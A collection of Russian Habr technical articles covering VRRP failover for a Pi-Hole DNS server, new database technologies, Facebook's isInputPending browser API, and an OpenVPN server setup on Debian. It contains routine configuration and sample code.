Итак, название протокола VRRP расшифровывается как Virtual Router Redundancy Protocol и он входит в группу протоколов NHRP (Next-Hop Resolution Protocol). Почему-то многие люди считают, что с использованием этих протоколов можно резервировать только адреса шлюзов по умолчанию, хотя, разумеется, это не так. Самому протоколу совершенно без разницы, какие сервисы с его помощью резервируются, он работает на третьем уровне модели ISO/OSI и фактически просто создает виртуальный IP-адрес, который будет перемещаться между устройствами, входящими в VRRP-группу, по определенным критериям. Очевидно, что такая логика подразумевает существование этого адреса только на одном устройстве, поэтому обеспечить, например, балансировку нагрузки между серверами с помощью стандартного VRRP нельзя (но в нашем случае этого и не требуется). Для тех кейсов, где это необходимо, существует, например, проприетарный протокол Cisco GLBP, где адрес активен одновременно на всех устройствах группы, а балансировка осуществляется за счет разных ARP-ответов. По подобной GLBP логике работает и протокол CARP.
В случае VRRP все устройства, входящие в группу, анонсируют себя через рассылку мультикаст-пакетов на адрес 224.0.0.18, внутри которых передается множество технической информации. Из нее нам важен один параметр - приоритет. Логика простая - все устройства, входящие в группу, меряются приоритетом, у кого ~~длиннее~~ больше, тот и победил и приземлил на себя виртуальный IP группы. Остальные сидят в засаде и ждут, пока победитель зазевается и умрет (перестанет слать нужный мультикаст), в этом случае опять проходят выборы и опять побеждает устройство с наибольшим приоритетом. Если устройств с одинаковым приоритетом несколько - побеждает больший IP-адрес, но хорошим тоном считается таких ситуаций избегать и разруливать приоритеты явно.
Большим плюсом для нас является возможность изменять приоритет на ходу. У Cisco используемая для этого фича, например, называется Enhanced Object Tracking. Но она такая есть у любой известной мне имплементации протокола, в том числе и у линуксового демона.
На основе этой фичи вырисовывается логика всей нашей конструкции:
1. Настраиваем на нашем маршрутизаторе в качестве основных DNS сервера провайдера.
2. Настраиваем между маршрутизатором и Pi-Hole VRRP с приоритетами 100 на маршрутизаторе и 90 на Pi-Hole.
3. Создаем на Pi-Hole скрипт, проверяющий работоспособность DNS и при успешности повышающий приоритет на Pi-Hole до 110.
4. Раздаем домашним клиентам по DHCP наш виртуальный IP-адрес как адрес DNS.
Настройка
---------
### 1. Настройка DNS на Mikrotik
Если помните, в предыдущей статье мы много обсуждали, какой адрес DNS раздавать клиентам и куда форвардить запросы с маршрутизатора. Для целей же нашего нового решения важно на маршрутизаторе указать в качестве DNS-серверов именно сервера нашего провайдера - чтобы они оставались доступны при блокировке сервиса за неуплату, например. Поэтому или настраиваем получение DNS от оператора по DHCP, или идем в Winbox по пути *IP - DNS* и в поле *Servers* прописываем адреса DNS-серверов провайдера.
### 2. Настройка VRRP на Mikrotik
Создаем новый VRRP интерфейс с привязкой к интерфейсу Bridge и навязываем на него наш виртуальный адрес. Можно сделать в Winbox, но гораздо проще сделать это в терминале:
```
/interface vrrp add interface=bridge name=vrrp-dns version=2 vrid=10
/ip address add address=192.168.1.9/24 interface=vrrp-dns network=192.168.1.0
```
Здесь *vrrp-dns -* это имя интерфейса (можете выбрать любое на свой вкус, главное совпасть в обеих командах), *vrid* - ID группы, можно тоже выбрать любой в диапазоне 1-255, нужно совпасть на обоих устройствах. Имя интерфейса bridge и IPv4-адреса нужно скорректировать под вашу домашнюю сеть.
После выполнения этого действия можно попинговать 192.168.1.9 - он уже должен отвечать с маршрутизатора, если пинг не закрыт файрволом.
UPD. Если у вас жесткие настройки файрвола - проверьте, что DNS на виртуальном адресе работает (*nslookup google.com 192.168.1.9* с вашего компьютера). И если нет - добавьте разрешающее правило для 53/udp.
### 3. Настройка VRRP на Pi-Hole
Устанавливаем демон keepalived:
```
apt install keepalived
```
Создаем файл конфигурации демона /etc/keepalived/keepalived.conf:
```
! Configuration File for keepalived
global_defs {
router_id PiHole # give unique id for each router
vrrp_skip_check_adv_addr
script_user root
enable_script_security
}
vrrp_script check_dns {
script "/etc/keepalived/check_dns.sh"
interval 5 # every 5 seconds
weight 20 # add 20 points if OK
timeout 5 #
rise 2 # avoid flapping
fall 2 # avoid flapping
}
vrrp_instance VI_1 {
state MASTER
interface ens160
virtual_router_id 10
priority 90
advert_int 1
virtual_ipaddress {
192.168.1.9/24
}
track_script {
check_dns
}
}
```
Здесь обратите внимание на имя интерфейса, на котором сейчас работает Pi-Hole - в примере дефолтное *ens160*, у вас может быть другое (проверить можно, например, через команду *ifconfig*).
Создаем скрипт проверки живости DNS /etc/keepalived/check\_dns.sh:
```
#!/bin/bash
host -s -4 -t A amazon.com 127.0.0.1 > /dev/null 2>&1
```
и не забываем сделать его исполняемым:
```
chmod +x /etc/keepalived/check_dns.sh
```
С методикой проверки DNS вы можете экспериментировать как угодно. Для себя я выбрал проверку резолвинга адреса *amazon.com*. Плюс этого варианта в том, что TTL этой записи - 1 минута, поэтому дольше чем на минуту ваш Pi-Hole закэшировать запись не сможет и, соответственно, на это время максимум и отложится убегание сервиса в случае потери связи с миром. Основной принцип, который надо помнить - если скрипт выдает 0 в качестве error code, то keepalived будет считать, что всё хорошо, и добавит приоритета. Любой другой error code - и адрес уползет на Mikrotik.
Теперь достаточно перезапустить сервис:
```
systemctl restart keepalived
```
и всё заработает. В логе Mikrotik можно будет увидеть запись, подобную этой:
```
vrrp-dns now BACKUP, got higher priority 110 from 192.168.1.10
```
Вы можете проверить, что теперь на адресе 192.168.1.9 отвечает Pi-Hole, самый простой способ проверки - это резолвинг имени pi.hole:
```
nslookup pi.hole 192.168.1.9
Server: 192.168.1.9
Address: 192.168.1.9#53
Name: pi.hole
Address: 192.168.1.10
```
Обратите внимание, что резолвиться будет в адрес сервера Pi-Hole, а не в наш виртуальный IP - это правильно и так и должно быть.
### 4. Настройка DHCP на Mikrotik
Ну и наконец нам надо научить DHCP-сервис Mikrotik раздавать клиентам правильный адрес DNS. Это удобнее сделать из WinBox - там вы увидите все свои пулы. Идем по пути *IP - Networks,* смотрим глазами на все сети, которые у вас связаны с Pi-Hole сейчас и изменяем поле *DNS Servers* с адреса Pi-Hole 192.168.1.10 на виртуальный адрес 192.168.1.9.
Обновляем аренду адреса на компьютерах, проверяем, что получили правильный адрес DNS, проверяем, что резолвинг работает (например, командой *nslookup pi.hole -* уже без прямого указания имени используемого сервера). Радуемся.
Особо ответственные могут каким-либо образом сломать своему DNS-серверу резолвинг и проконтролировать, что по истечении таймаута виртуальный адрес переползет на Mikrotik. Но это уже зависит от вашей фантазии.
Заключение
----------
Как обычно, никаких особых тайн не открыл, но для тех, кто не сталкивался с отказоустойчивостью сервисов, надеюсь, подсказал новый путь улучшения вашей домашней сети. Конечно, решение можно менять под себя в широком диапазоне вариантов, от него скорее можно отталкиваться при появлении каких-то близких по логике задач.
На вопросы, традиционно, отвечу и с настройками помогу. | https://habr.com/ru/post/556024/ | null | ru | null |
# Новые технологии баз данных, на которые стоит обратить внимание (часть 1)
В этой статье мы поговорим о трех свежих технологиях в сфере баз данных, которые нас заинтересовали:
* [TileDB](https://lucperkins.dev/blog/new-db-tech-1/#tiledb)
* [Materialize](https://lucperkins.dev/blog/new-db-tech-1/#materialize)
* [Prisma](https://lucperkins.dev/blog/new-db-tech-1/#prisma)
Во второй статье расскажем еще про три:
* [EdgeDB](https://edgedb.com/)
* [Tremor](https://tremor.rs/)
* [Debezium](https://debezium.io/)
А третья статья будет посвящена выводам.
**Примечание:** речь пойдёт исключительно о базовых технологиях, а такие функции, как корпоративные фичи, будут по большей части игнорироваться (там, где это уместно).
TileD B
=======
TileDB представляет собой базу данных, построенную вокруг [многомерных массивов](http://matlab.izmiran.ru/help/techdoc/matlab_prog/ch_dat32.html). Она позволяет упростить работу с типами данных, которые не вполне вписываются в существующие системы управления реляционными базами данных (RDBMS), например, [плотные и разреженные массивы](https://docs.tiledb.com/main/basic-concepts/definitions/dense-vs-sparse-array), [кадры данных](https://docs.tiledb.com/main/handling-dataframes). TileDB специально заточена под такие сценарии использования, как [геномика](https://docs.tiledb.com/genomics/) и [геопространственные данные](https://docs.tiledb.com/geospatial).
#### Примечательные особенности
* Переключаемые бэкенды данных с поддержкой [Amazon S3](https://aws.amazon.com/s3/), [MinIO](https://min.io/) и др.
* Интеграции хранилищ для [HDFS](https://hadoop.apache.org/docs/r1.2.1/hdfs_design.html), [PrestoDB](https://prestodb.io/), [Apache Spark](http://spark.apache.org/), [Dask](https://docs.dask.org/en/latest/index.html) и др.
* Привязка языка для [C/C++](https://docs.tiledb.com/main/usage/c-cpp), [Python](https://docs.tiledb.com/main/usage/python), [R](https://docs.tiledb.com/main/usage/r), [Java](https://docs.tiledb.com/main/usage/java) и [Go](https://docs.tiledb.com/main/usage/go).
#### Что особенно понравилось
Нам нравятся такие «узкоспециализированные» БД, заточенные под конкретный набор типов данных и задач. Традиционные RDBMS, конечно, хороши своей относительной универсальностью, позволяющей охватить чрезвычайно широкий спектр сценариев использования (без шуток). Но иногда возникают крайние случаи, когда на самом последнем этапе (а) возможностей «обычных» систем не хватает, и (б) задача очень важна для вашего бизнеса.
Мы ожидаем появления других подобных систем по мере роста специализации сценариев использования баз данных и возникновения новых предметных областей. Старые добрые RDBMS, конечно, никуда не денутся, но при этом хотелось бы увидеть, как TileDB и другие подобные системы развиваются и расширяют границы возможного. Надеемся, что появятся очень «хакабельные», не монолитные БД, у которых будет интерфейс для подключения плагинов, чтобы можно было работать с очень специфичными для конкретных сценариев использования типами данных. Но об этом позже.
#### Вопросы к проекту
1. Каково соотношение между количеством работы на стороне клиентских библиотек и на стороне базы данных? Являются ли клиенты TileDB по существу математическими библиотеками под конкретный язык для локального манипулирования сложными типами данных и периодического сохранения результатов нужный бэкэнд, или же они, как другие клиентские библиотеки БД, по большей части просто передают команды в базу данных? Из документации это не вполне ясно.
2. Каков практический смысл в обеспечении хранилища [ключ-значение](https://docs.tiledb.com/main/handling-key-value-stores) при избытке имеющихся видов таких хранилищ? В документации даже говорится, что «TileDB не рассчитана на работу в качестве специализированного хранилища ключ-значение». В чем тогда выгода от развития подобной функции?
Materialize
-----------
[Materialize](https://materialize.io/) позиционируется как «первая настоящая поточная база данных SQL», и, возможно, это действительно не преувеличение! По сути, это реляционная база данных, обладающая «проводной совместимостью» с [PostgreSQL](https://postgresql.org/), но с одним важным отличием: она предлагает [материализованные представления](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%82%D0%B5%D1%80%D0%B8%D0%B0%D0%BB%D0%B8%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5), обновляемые в режиме реального времени.
*Встречается такое определение Materialize, как «*[*хранилище поточных данных*](https://materialize.io/blog-introduction)*», что, похоже, для нее подходит*.
В стандартном Postgres, например, приходится обновлять материализованные представления вручную:
```
CREATE MATERIALIZED VIEW my_view (/* ... */);
REFRESH MATERIALIZED VIEW my_view;
/* The underlying tables change */
REFRESH MATERIALIZED VIEW my_view;
/* More stuff happens */
REFRESH MATERIALIZED VIEW my_view;
```
Это можно делать с какой угодно периодичностью, например, с помощью скрипта или задачи планировщика. Чего мы пока не увидели (хотя всегда очень хотели увидеть), так это базы данных, изначально поддерживающей инкрементные обновления материализованных представлений. Да, действительно: Materialize следит за изменениями в задаваемых источниках данных и обновляет представления в зависимости от изменений в этих источниках.
Даже если Materialize не «победит» или не останется на рынке достаточно долго, возможности, которые она предлагает, должны сохраниться и будут почти наверняка воспроизведены в других БД.
#### Примечательные особенности
* Разнообразный спектр источников данных, включая другие таблицы (как в стандартной Postgres), JSON, CSV и другие файлы, темы [Kafka](https://kafka.apache.org/) и [Kinesis](https://aws.amazon.com/kinesis/), к которым в будущем вполне могут добавиться и другие.
* Ядро построено на двух действительно мощных конструктах: [«оперативный» поток данных](https://timelydataflow.github.io/timely-dataflow/) (timely dataflow) и [«дифференциальный» поток данных](https://timelydataflow.github.io/differential-dataflow/) (differential dataflow)[.](https://timelydataflow.github.io/timely-dataflow/) Не будем сейчас углубляться в подробности по поводу каждого из них, но настоятельно рекомендуем тщательно изучить эти концепции самостоятельно. В разработке обоих проектов активно участвовали сами создатели Materialize, придерживающиеся научного подхода, так что вы можете быть уверены, что Materialize — это не продукт «в хакерском духе», а результат очень тщательного, скрупулезного процесса разработки.
* Поскольку Materialize имеет «проводную» совместимость с Postgres, сохраняется возможность использования [psql](https://www.postgresql.org/docs/current/app-psql.html) и всех остальных привычных инструментов Postgres.
#### Что особенно понравилось
Materialize потенциально может много что заменить. Самое очевидное: система позволяет задействовать весь имеющийся у вас арсенал процессов для поступательного обновления ваших материализованных представлений. Но это не такой уж большой выигрыш.
Гораздо важнее для нас то, что Materialize позволяет делать неактивными те части стека данных, которые выделены под отслеживание изменений в источниках данных. Это можно делать [нативно](https://materialize.io/docs/sql/create-source/):
```
CREATE SOURCE click_events
FROM KAFKA BROKER 'localhost:9092' TOPIC 'click_events'
FORMAT AVRO USING CONFLUENT SCHEMA REGISTRY 'http://localhost:8081';
```
Теперь ваша БД «знает» об источнике данных, который она может использовать для построения автоматически обновляемых материализованных представлений. Такая родная «конвейеризация» кажется мне даже более волшебной, чем автоматическое обновление представлений. Если вы запустите, например, безсерверные функции, либо задания [Heron](https://heron.apache.org/), либо конвейеры данных [Flink](https://flink.apache.org/), которые занимаются только отслеживанием, и добавите туда оператор `INSERT`, то Materialize позволит вам просто вырезать эту часть стека.
#### Вопросы к проекту
* Почему отдельная БД, а не расширение [Postgres](https://www.postgresql.org/docs/current/external-extensions.html)? Уверены, что существуют веские причины архитектурного плана, по которым расширение не будет здесь так работать, но хотелось бы узнать, почему именно.
* Насколько просто построить расширения для других источников данных? Как можно написать, например, расширение для [Apache Pulsar](https://pulsar.apache.org/)? Планируется ли открыть разработчикам API для этой цели?
Prisma
------
[Prisma](https://prisma.io/) представляет собой скорее не базу данных, а набор инструментов для максимального абстрагирования вашей базы данных[.](https://prisma.io/) В настоящее время система совместима с [PostgreSQL](https://postgresql.org/), [MySQL](https://www.mysql.com/) и [SQLite](https://www.sqlite.org/index.html) на стороне БД, и с [JavaScript](https://www.javascript.com/) и [TypeScript](https://www.typescriptlang.org) с точки зрения языка (с перспективой поддержки других БД и языков в будущем). Она заявлена как «уровень данных для современных приложений», что в целом верно.
«Золотой способ» использования Prisma примерно следующий:
1. Определите ваши типы данных на уровне приложений с помощью SDL схемы Prisma.
2. На основе созданной схемы сформируйте высокоидиоматический код для выбранного вами языка.
3. Займитесь созданием API REST, API GraphQL и всего остального, что вы хотите создать.
Мы понимаем сомнения некоторых людей в отношении таких инструментов, как Prisma. Среди разработчиков существует большая группа противников абстрагирования базы данных. Им не нужны умные DSL и GUI. Они хотят писать простые SQL и создавать весь код взаимодействия с БД вручную. Нам вполне понятно желание сохранить такую степень контроля, но всё же советуем потратить 20–30 минут на то, чтобы попробовать Prisma. Нам кажется, она очень неплохо справляется с задачей поиска «золотой середины» между «явным перебором» и сырым SQL.
#### Примечательные особенности
* [Клиент Prisma](https://www.prisma.io/docs/reference/tools-and-interfaces/prisma-client) позволяет задать нужные вам типы данных с помощью специализированного SDL схемы, генерирующего для вас код[.](https://www.prisma.io/docs/reference/tools-and-interfaces/prisma-client) Даже информация о подключении для вашей базы данных исчезает из вашего кода приложения и переходит в генерируемый код.
* Функциональность [Prisma Migrate](https://www.prisma.io/docs/reference/tools-and-interfaces/prisma-migrate) позволяет задавать миграции БД декларативно (а не императивно, как в SQL). Лишние подробности того, как БД переходит из состояния A в состояние Б, скрываются.
* [Prisma Studio](https://www.prisma.io/docs/reference/tools-and-interfaces/prisma-studio) — визуальный редактор, главным образом обеспечивающий графический интерфейс пользователя для взаимодействия с другими инструментами Prisma.
#### Что особенно понравилось
[DSL схемы Prisma](https://www.prisma.io/docs/reference/tools-and-interfaces/prisma-schema) позволяет не только задавать типы данных, необходимые для вашего приложения, но и определять, какой генератор кода вы хотите использовать, а также информацию о подключении для БД, к которой вы подключаетесь.
Дополнительно обеспечиваются перечисляемые типы (enums), удобные аннотации, например, `@id`, `@relation` и `@default`. Напоминает DSL миграции БД из [ActiveRecord](https://guides.rubyonrails.org/active_record_basics.html) и [Ecto](https://hexdocs.pm/ecto/Ecto.html), а также IDL, подобные используемым в [Protocol Buffers](https://developers.google.com/protocol-buffers) и [Thrift](https://thrift.apache.org/docs/idl).
Очень бы хотелось увидеть адаптацию SDL схем Prisma или чего-то подобного в качестве языконезависимого стандарта (подходящего для библиотек, специфичных для определенного языка). Статус-кво предполагает, что каждый язык программирования заново изобретает колесо. Нам кажется, полезно было бы иметь языконезависимый способ задания тех типов, которые определяют взаимодействие между приложением и БД.
*Кстати, отдельная благодарность Prisma за прекрасную документацию. Мы однозначно считаем это важным отличием, и если ваша* [*документация*](https://www.prisma.io/docs/) *не попадает в раздел типа «Что мне особенно понравилось» какого-нибудь поста в блоге, значит, вам следует вкладывать больше ресурсов в создание технических описаний.*
#### Вопросы к проекту
Будет ли Prisma также полезна в языках, уже имеющих широко используемые объектно-реляционные отображения (ORM)? Если пользоваться [ActiveRecord](https://guides.rubyonrails.org/active_record_basics.html) для Ruby или [Ecto](https://hexdocs.pm/ecto/Ecto.html) для Elixir, каков стимул для перехода? | https://habr.com/ru/post/513100/ | null | ru | null |
# Первый вклад в API браузера от Facebook
Наше положение, как владельцев популярного веб-сайта — и наша работа в поддержке популярной платформы React — дают нам уникальные возможности и понимание работы с браузером, которые мы хотим использовать для решения проблемы "очередей". Являясь активным участником сообщества веб-стандартов(W3C), мы принимали участие в обсуждении многих инноваций, включая [service workers](https://developers.google.com/web/updates/2017/02/navigation-preload) и [CSS-overscroll](https://drafts.csswg.org/static/css-overscroll-behavior-1/), но до недавнего времени мы никогда не создавали собственные инициативы для улучшения веб-браузера. С целью добиться значительных увеличения производительности, был предложен новый API, который в результате тесного сотрудничества с нашими коллегами из Google Chrome, был предоставлен для [ознакомительной версии](https://github.com/GoogleChrome/OriginTrials). **Chrome v74** будет включать в себя [isInputPending API](https://github.com/WICG/is-input-pending), и может быть использован для улучшения как общего времени выполнения JavaScript, так и времени отклика на события. Это лишь первый шаг к улучшению планирования JavaScript в вебе. Мы надеемся получить отзывы разработчиков и использовать их для создания финальной версии API.
Одним из важнейших показателей производительности в современном вебе является время, необходимое для ответа на событие пользователя (нажатие кнопки или ввод в поле), с его полной визуализацией. В Facebook мы разделяем и измеряем события в четыре этапа:
* операционная система получает данные
* фактическое начало обработки
* начало отображения изменений на экране в ответ на событие
* обработка завершена и результат визуализирован
Когда мы оценивали наши самые производительные продукты, было замечено, что время ожидания в очереди дает самые большие задержки. Под очередью имеется ввиду время между тем, когда пользователь взаимодействует со страницей (например, клик или тап), и когда начинается фактическая обработка события. В отдельных случаях эта задержка может быть достаточно весомой. Представьте, что вы щелкаете по значку уведомлений, а затем ждете минуту до реакции кнопки. Вероятно, никто не дождется ответа.
Быстрая загрузка или быстрое реагирование: выберите один
--------------------------------------------------------
Существует сложный компромисс между быстрой загрузкой страницы и интерактивностью. Если веб-сайт требует JavaScript, один из вариантов состоит в том, чтобы запустить все это в одном блоке. Но это может создать проблемы. Механизмы JavaScript внутри веб-браузеров, как правило, являются однопоточными, то есть они могут одновременно выполнять только одну операцию на странице. В случае загрузки страницы это означает, что если пользователь нажимает на что-то, браузер должен ставить событие click в очередь, пока не будет запущен весь блок JavaScript.
Как и многие другие сайты, мы решаем эту проблему, разбивая JavaScript на мелкие блоки. Пока страница загружается, мы запускаем немного JavaScript, а затем возвращаем управление браузеру. Затем браузер может проверить свою очередь входных событий и посмотреть, есть ли что-то для обработки. Затем браузер может вернуться к выполнению блоков JavaScript по мере их добавления. Это помогает, но может вызвать другие проблемы. Каждый раз, когда мы возвращаем управление браузеру, ему требуется некоторое время, чтобы проверить свою очередь входных событий, обработать события и выбрать следующий блок JavaScript. Таким образом, хоть браузер реагирует на события быстрее, нам все же необходимо найти баланс между размерами блоков кода и частотой, с которой мы уступаем браузеру. Если мы меняем управление слишком часто, страница загружается слишком медленно, если наоборот — реже, браузеру требуется больше времени, чтобы реагировать на пользовательские события, и люди разочаровываются.
> Если мы запускаем большие блоки JavaScript, браузер может отправлять пользовательские события с большой задержкой (вверху); если мы запускаем меньшие блоки, страница загружается дольше (снизу).
isInputPending решение
----------------------
Когда мы впервые обнаружили задержки в очереди, мы обратились к нашим коллегам в Chrome. Мы хотели посмотреть, как все будет выглядеть, если мы придумаем новый подход к загрузке, который устранит эту дилемму компромисса. Поговорив с ними, мы предложили isInputPending. *API isInputPending* является первым использующим концепцию прерываний для пользовательских событий в вебе.
Под капотом *isInputPending* слушает входную очередь Chrome на стороне компилятора, чтобы перехватывать события, прежде чем они будут добавлены в главный поток. Поскольку это прослушивание выполняется вне основного потока, вызовы *isInputPending* не используют много вычислительных ресурсов и должны быть очень быстрыми. Это позволяет разработчикам часто вызывать API и максимизировать отзывчивость.
Как только мы подготовили это предложение, мы обратились к рабочей группе W3C по веб-производительности и получили согласие различных поставщиков браузеров, что наша идея заслуживает изучения. В дальнейшем, мы сотрудничали с нашими коллегами в Chrome, самостоятельно внедрили новый API и отправили соответствующие исправления кода в Chrome. Благодаря инженерам из Chrome, мы получили патчи пробной версии, которые позволяют тестировать изменения и получать отзывы от разработчиков перед полноценным релизом. Эта версия позволит нам понять, насколько важен этот API для разработчиков и будет определять наши будущие разговоры об этом API с поставщиками веб-браузеров. Это впервые, когда мы прошли все этапы разработки веб-API, от обсуждения предложения на форуме до передачи кода в веб-браузер.
Как работает isInputPending
---------------------------
Следуя из названия, *isInputPending* сообщает, есть ли события ожидающие ввода. Разработчики могут использовать эту информацию во время работы JavaScript, чтобы решить, хотят ли они вернуть контроль браузеру. При правильном использовании *isInputPending* может полностью устранить дилемму быстрой загрузки и интерактивности.
Для работы с API используется `navigator.scheduling.isInputPending()`. По сути, если браузер ожидает, что событие будет отправлено, этот метод возвращает `true`. При вызове без каких-либо аргументов проверяются все поддерживаемые типы событий. Кроме того, возможно вручную указать список типов событий: mouse, wheel, touch, которые следует проверять на ожидающий ввод.
### Пример: проверка любых типов событий
```
while (workQueue.length > 0) {
if (navigator.scheduling.isInputPending()) {
// прервать работу для обработки входных событий
break;
}
let job = workQueue.shift();
job.execute();
}
```
### Пример: проверка на конкретные входные события
```
while (workQueue.length > 0) {
if (navigator.scheduling.isInputPending(['mousedown', 'mouseup', 'keydown', 'keyup'])) {
// прервать работу для обработки события типа 'mousedown' или 'mouseup' или 'keydown' или 'keyup'
break;
}
let job = workQueue.shift();
job.execute();
}
```
Что дальше?
-----------
Если отзыв комьюнити будет положительным, *isInputPending* может стать полностью доступным в Chrome. Тогда мы сможем избавиться от этих заметных задержек в очереди и сделать работу в Интернете более быстрой и гибкой для людей на наших сайтах. Для разработчиков, которые также хотят избавиться от задержек в очередях и улучшить взаимодействие и производительность загрузки, пробная версия будет доступна в ближайшее время. Зарегистрируйтесь [здесь](https://developers.chrome.com/origintrials/#/view_trial/4544132024016830465) и поделитесь своим мнением о пробной версии, как только она будет доступна.
Процесс переноса *isInputPending* в Chrome представляет собой новый метод разработки веб-стандартов в Facebook. Мы надеемся продолжить разработку новых API и увеличить свой вклад в веб-браузеры с открытым исходным кодом. В будущем мы могли бы потенциально встроить этот API непосредственно в React, чтобы разработчики могли получить преимущества API из коробки. Кроме того, *isInputPending* теперь является частью больших трудов по созданию примитивов для планирования в вебе. Мы с нетерпением ждем продолжения нашего сотрудничества с Chrome. В конце концов, мы надеемся увидеть инструменты браузера, которые позволят разработчикам глубже интегрироваться в очередь задач браузера и даже позволят разработчикам понять приоритеты браузера по различным сетевым запросам и задачам.
Примечание автора
-----------------
Чтобы попробовать новое API нужно:
* установить браузер Google Chrome 74-76 версии
* включить флаг [Experimental Web Platform features](http://chrome://flags/#enable-experimental-web-platform-features)
**Chrome v74**
**Chrome v76(develop)** | https://habr.com/ru/post/451900/ | null | ru | null |
# Теплый и ламповый VPN
Ничего не предвещало беды, как вдруг в 2 часа ночи раздался телефонный звонок.
— Алло, милый! У меня youtube не работает!
— Прекрасно, иди спать!
— Нууу! Там новая серия вышла!
— Завтра всё сделаю!
— Ну Заяя, нуууу!
— Ладно! Ладно! Сейчас.
…
Из этого поста вы узнаете ответы на следующие вопросы:
Как спасти свою милую от стресса в 2 часа ночи? Как вернуть доступ к youtube.com, если ваш провайдер его заблокировал? Как быстро поднять VPN и настроить клиентские устройства (Android, Windows, Debian, dd-wrt) для работу с ним? Как безопасно серфить интернет на открытых точках доступа? Как заработать карму в глазах своей возлюбленной? Если вам это интересно, добро пожаловать под кат!
#### Начало
Первым делом я попросил сделать трейс и отрезолвить youtube.com с DNS провайдера и Google Public DNS
```
tracert youtube.com
nslookup youtube.com
nslookup youtube.com 8.8.8.8
```
Стало ясно что проблема в провайдере, его DNS отдавал IP заглушки, а трейс до IP youtube.com, полученному запросом к 8.8.8.8 уходил в никуда.
После этого я подкинул пару хороших и быстрых прокси, чтобы моя милая успокоилась и пошла смотреть свой любимый сериал. Попутно объяснил ей [где найти очередные прокси](http://www.hidemyass.com/proxy-list/), если эти помрут, а так же провел инструктаж о мерах предосторожности при использовании чужих прокси. Её все устроило, скорость была отменной, она визжала как поросенок, после чего пропала на пару часов в бездне кинематографа. Это был самый простой и быстрый способ ее успокоить и вернуть возможность вновь наслаждаться благами цивилизации.
Прокси, тем более публичные, это не серьезно, проблемно и очень не безопасно, нам нужен VPN подумал я, и поэтому решил — пока меня не отвлекают надо приступить к реализации. Для начала выберем сервер.
[vServer VQ 7](http://www.hetzner.de/hosting/produkte_vserver/vq7) — от Hetzner подойдет, цена вопроса всего 7.90 Евро/мес, а т.к. ничего кроме VPN мы запускать пока не планируем, этой простейшей конфигурации вполне хватит.
Как зарегистрироваться и купить сервер, объяснять не буду, скажу только что у меня попросили любой документ удостоверяющий личность, на котором видна дата рождения. Платил картой VISA.
#### Настройка сервера
И так, мы зарегистрировались и купили [vServer VQ 7](http://www.hetzner.de/hosting/produkte_vserver/vq7), заходим в [админку](https://robot.your-server.de/server) и видим наш сервер
Теперь установим на него debian (кстати это можно сделать прямо во время оформления заказа). Переходим на вкладку Linux, выбираем конфигурацию Debian 6.0 minimal, 32bit, жмем Activate.
Установка начнется при следующем запуске сервера, т.е. нам надо его перезагрузить, сделать это можно на вкладке vServer, или по SSH.
Через некоторое время на почту придет письмо что все готово. Там же будет и пароль root пользователя, подключаемся по SSH к серверу и приступаем к настройке.
```
# меняем пароль пользователя
passwd root
# обновляем список пакетов и установим mc (дело вкуса, но я его ставлю)
apt-get update
apt-get install mc
# установим openvpn и приступим к настройке
apt-get install openvpn
cd /usr/share/doc/openvpn/examples/easy-rsa/2.0/
# редактируем переменные
nano ./vars
# меняем строки
export KEY_SIZE=1024 # Длинна ключа
export KEY_EXPIRE=3650 # Срок действия ключа в днях
# описание сертификатов по-умолчанию
export KEY_COUNTRY="RU"
export KEY_PROVINCE="RU"
export KEY_CITY="Moscow"
export KEY_ORG="http://habrahabr.ru"
export KEY_EMAIL="org@example.com"
# сохраняем файл
# инициализируем переменные и чистим папку keys и создаем сертификаты
. ./vars
. ./clean-all
./build-ca # корневой сертификат
./build-key-server server # сертификат сервера
./build-dh # ключ Диффи Хельман
# если вы планируете использовать tls-auth, который позволит скрыть порт на котором сервер слушает vpn подключения, защитить от DoS атак и кое чего еще, то выполните еще и эту строку:
openvpn --genkey --secret ./keys/ta.key
# Включили tls-auth? Тогда не забудьте передать ta.key клиентам, его надо будет положить рядом с сертификатом пользователя.
# перенесем полученные сертификаты в рабочую папку
cp ./keys/ca.crt /etc/openvpn
cp ./keys/server.crt /etc/openvpn
cp ./keys/server.key /etc/openvpn
cp ./keys/dh1024.pem /etc/openvpn
# Для tls-auth, выполните и эту строку:
cp ./keys/ta.key /etc/openvpn
# создадим сертификаты пользователей, сколько вам нужно (вводить данные не обязательно, поля будут принимать значения переменных по-умолчанию, достаточно просто нажимать Enter. В конце будет предложено ввести пароль (Enter export password), он защитит ваш сертификат от импорта недоброжелателями, хорошенько его запомните)
./build-key-pkcs12 vpn.android
./build-key-pkcs12 vpn.windows
./build-key-pkcs12 vpn.debian
./build-key-pkcs12 vpn.ddwrt
./build-key-pkcs12 vpn.home
# после этого в папке /usr/share/doc/openvpn/examples/easy-rsa/2.0/keys/ появятся ваши сертификаты vpn.android.*, vpn.windows.* и другие.
# Если захотите создать сертификаты поздней, подключаетесь по SSH, и:
# cd /usr/share/doc/openvpn/examples/easy-rsa/2.0/
# . ./vars
# ./build-key-pkcs12 vpn.newuser1
# ./build-key-pkcs12 vpn.newuser2
# настроим сервер
zcat /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz > /etc/openvpn/server.conf
nano /etc/openvpn/server.conf
# все настройки по-умолчанию нас устроят, меняем, раскомментируем:
local IP_АДРЕС_ВАШЕГО_СЕРВЕРА
push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"
client-to-client # раскомментируйте, если хотите иметь доступ между клиентами внутри вашего VPN
# Для включения tls-auth, необходимо добавить (без #)
# tls-auth ta.key 0
# Если хотите спрятать сервер от китайских ботов и ФСБ, поменяйте стандартный порт, на любой другой. Только не забудьте прописать этот же порт в настройках клиента.
port 1194
# сохраняем
# применим настройки файрвола через rc.local, можно сделать иначе, но я остановился на этом варианте.
nano /etc/rc.local
# добавляем строки до exit 0
iptables -A FORWARD -s 10.8.0.0/24 -j ACCEPT
iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
# сохраняем
nano /etc/sysctl.conf
# раскомментируем строчку
net.ipv4.ip_forward=1
# отправляем на перезагрузку, чтобы сразу убедиться что автозапуск работает
reboot
```
